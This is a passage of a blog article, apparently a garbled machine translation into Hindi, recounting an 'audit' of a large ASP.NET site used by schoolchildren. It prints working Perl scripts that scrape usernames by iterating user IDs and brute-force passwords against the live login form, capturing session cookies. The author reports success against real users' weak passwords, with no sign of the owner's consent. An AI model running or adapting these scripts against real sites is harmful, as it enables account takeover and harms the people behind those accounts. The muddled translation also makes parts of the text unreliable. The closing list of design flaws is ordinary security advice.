🔤 ◾️ 👨🏼‍✈️ एक ऑडिट का इतिहास ✉️ 🤽🏼 👩🏽

विभिन्न हैक की कहानियों के लिए समर्पित हैबर पर बहुत सारे लेख हैं, पासवर्ड बनाने के लिए सिफारिशें और सूचना सुरक्षा के अन्य मूल बातें। मैंने आईटी-टॉपिक्स के बजाय, बल्कि बड़ी साइटों में से एक के अध्ययन पर एक छोटी सी रिपोर्ट लिखकर अपना योगदान देने का फैसला किया, जिसमें, बुनियादी हैकिंग तकनीकों से अच्छी सुरक्षा की पृष्ठभूमि के खिलाफ, मुझे सिस्टम की पूरी तरह से खुद को डिजाइन करने में त्रुटि मिली।

कटौती के तहत अपनी साइटों को डिज़ाइन करते समय आपको किन बातों पर ध्यान देने की आवश्यकता है, इसके बारे में और पढ़ें।

हम जांच

प्रश्न में साइट ASP.NET में लिखी गई है; इसमें AJAX, HTML5 या अन्य घंटियाँ और सीटी जैसी कोई विशेष तकनीकी परिशोधन नहीं हैं। सामान्य मेनू, स्थिर पाठ। दर्शकों में स्कूली बच्चे और प्राथमिक स्कूल के छात्र हैं।
प्रोजेक्ट के आधार को बनाने वाली कार्यक्षमता को एक आभासी जावा मशीन के माध्यम से अलग से लागू किया जाता है, जहां हम नहीं पहुंचेंगे।

आरंभ करने के लिए, पंजीकरण देखें। सामान्य तौर पर, एक अलग उपयोगकर्ता नाम और उपनाम का उपयोग करना बहुत सुविधाजनक नहीं है, लेकिन इस मामले में, उपयोगकर्ता वास्तविक व्यक्तिगत डेटा दर्ज करते हैं, इसलिए सुरक्षा बढ़ाते हुए एक उपयोगकर्ता नाम जोड़ना एक अच्छा विचार है। स्वाभाविक रूप से, यह केवल वजन होता है यदि आपको लॉगिन की सूची नहीं मिल सकती है। इस मामले में, हमें न केवल पासवर्ड, बल्कि लॉगिन भी छांटना होगा। तदनुसार, एक बिना किसी लॉगिन के लॉगिन करने के प्रयासों की संख्या काफी बड़ी होगी, जो हैकिंग प्रयास का संकेत हो सकता है।

साइट के चारों ओर थोड़ा और चढ़ते हुए, मुझे कहीं भी कोई खुली लॉगिन नहीं मिला। उनका उपयोग केवल पंजीकरण और प्राधिकरण के लिए किया जाता है। एक स्पष्ट, लेकिन कोई कम मजेदार विचार मेरे दिमाग में नहीं आता है: हम पंजीकरण फॉर्म के माध्यम से कुछ व्यस्त लॉगिन भेजते हैं - हमें एक त्रुटि मिलती है कि ऐसा उपयोगकर्ता पहले से पंजीकृत है।
तदनुसार, विशेष रूप से यदि आप लोकप्रिय नामों का एक पर्याप्त डेटाबेस लेते हैं, तो आप त्रुटि संदेशों को पार्स करके लॉगइन को फ़िल्टर कर सकते हैं। उदाहरण के लिए, यहाँ
यदि प्रत्येक गैर-मौजूद लॉगिन पंजीकरण होगा, तो निश्चित रूप से, यह बहुत अच्छी तरह से काम नहीं करता है। पहले से ही उपयोगकर्ताओं की संख्या में इतनी महत्वपूर्ण वृद्धि बहुत ध्यान देने योग्य होगी।

मैंने पंजीकरण स्क्रिप्ट को भेजे गए POST अनुरोध की सामग्री को संशोधित करके इसे प्राप्त करने का प्रयास किया। इसमें एक उपयोगी भेद्यता की खोज की गई थी: सिस्टम ने पहले चेक किया था कि क्या डेटाबेस में लॉगिन था, और उसके बाद ही पासवर्ड सत्यापित किए गए थे। (यह आश्चर्य की बात है कि पासवर्ड और पुष्टिकरण को सर्वर पर एक मैच के लिए अतिरिक्त रूप से जांचा जाता है)।
इस प्रकार, हम वास्तविक पंजीकरण को दरकिनार करते हुए खोज को पूरी तरह से व्यवस्थित करेंगे। कैप्चा के लिए - यह एक बाधा नहीं होने के लिए पर्याप्त सरल है।

हालाँकि, एक सरल लॉगिन जानवर बल एक अलग लेख के लायक नहीं होगा। पर्याप्त कमजोरियों को खोजने के बाद, मुझे समय में एक और चैट एप्लिकेशन मिला: उपयोगकर्ता लॉगिन विंडो भेजने वाले संदेश में था! यह कहना मुश्किल है कि उसे किसने और क्यों वहां रखा। जाहिरा तौर पर, जब उन्होंने सिस्टम लिखा, तो पूरा नाम अभी तक दर्ज नहीं किया गया है, और फिर वे इस डिबग आउटपुट के बारे में भूल गए। जैसा कि कहावत है: "अस्थायी से अधिक स्थायी कुछ भी नहीं है।"

परिणाम विश्लेषण

हमें एक लॉगिन डेटाबेस की आवश्यकता है। इसे प्राप्त करना आसान है, आपको केवल पृष्ठ को पार्स करने की आवश्यकता है
प्रत्येक उपयोगकर्ता के लिए साइट / icq / id = N

for ($k=0;$k<$max_thread;$k++){ thread_search(); } $cv->recv; sub thread_search{ my $url = "http://site/icq/?user=".$i; http_get $url, sub { my ($body, $hdr) = @_; if ($hdr->{Status} =~ /^2/) { if ($body =~ /<TITLE>(.*) "/){ print OUTPUT $1.",$i\n"; } } else { print OUTPUT $url." error, ".$hdr->{Status}." ".$hdr->{Reason}."\n"; } $i++; if ($i>$MAX){ $cv->send; } else{ thread_search(); } }; }

लिखा हुआ जल्दी पूरा हो गया। नतीजतन, मुझे एक डेटाबेस मिला, जिसे मैंने तब सॉर्ट किया और समूहों में विभाजित किया, और एक सुंदर चित्र भी बनाया।

और यहाँ लॉगिन के उदाहरण हैं ।

प्रत्यक्ष क्रिया

चूंकि सिस्टम में कोई पासवर्ड नीति नहीं है, और आप कम से कम एक वर्ण में प्रवेश कर सकते हैं, एक साधारण जानवर बल सफल होना चाहिए।
इस स्थिति में, हम स्ट्रीम में पासवर्ड वितरित करेंगे। प्रत्येक थ्रेड सभी लॉगिन के लिए एक पासवर्ड पर पुनरावृति करेगा। यह इष्टतम है क्योंकि ऐसे संसाधनों पर पासवर्ड आमतौर पर काफी सरल होते हैं।

 #!/usr/bin/perl use LWP::UserAgent; require HTTP::Request; my $pass = $ARGV[0]; open(OUTPUT,'+>out'.$pass.'.txt'); open(INPUT,'<lof.txt'); while (<INPUT>) { my $l = $_; chop $l; my $ua = new LWP::UserAgent; $ua->agent("Mozilla/5.0 (X11; Linux i686; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"); $form = "lgn=$l&password=$pass"; my $request = HTTP::Request->new(POST => 'http://site/'); $request->content($form); $request->content_type('application/x-www-form-urlencoded'); my $response = $ua->request($request); my $co = $response->header("Set-Cookie"); print $co."\n"; }

खैर, कुछ क्रूर बल परिणाम। मैं सभी उपयोगकर्ताओं के माध्यम से नहीं गया था क्योंकि वहाँ बहुत रुचि नहीं थी। हालाँकि, छोटे फ़ोकस समूह में भी, डिजिटल पासवर्ड, qweqwe, qwerty पासवर्ड और इस तरह के उपयोगकर्ताओं की संख्या बहुत थी।
वैसे, क्यूवर्टी पासवर्ड में केवल 0.1% होता है, जबकि डिजिटल पासवर्ड के विभिन्न प्रकारों में 1 से 4 अक्षर कुल 20% से अधिक होते हैं।

निष्कर्ष

मेरी राय में, संसाधन की सबसे महत्वपूर्ण कमियों की सूची में शामिल हैं:

* असावधानी (लॉग साफ साइट पर उपलब्ध थे)
* गलत डेटा सत्यापन अनुक्रम
* कमजोर कैप्चा
* किसी भी आईपी से प्राधिकरण के प्रयासों की अनियंत्रित संख्या
* कमजोर पासवर्ड नीति (आपको उपयोगकर्ताओं को डिजिटल पासवर्ड दर्ज करने से रोकना चाहिए)

एक ऑडिट का इतिहास

हम जांच

परिणाम विश्लेषण

प्रत्यक्ष क्रिया

निष्कर्ष

संबंधित लिंक

More articles: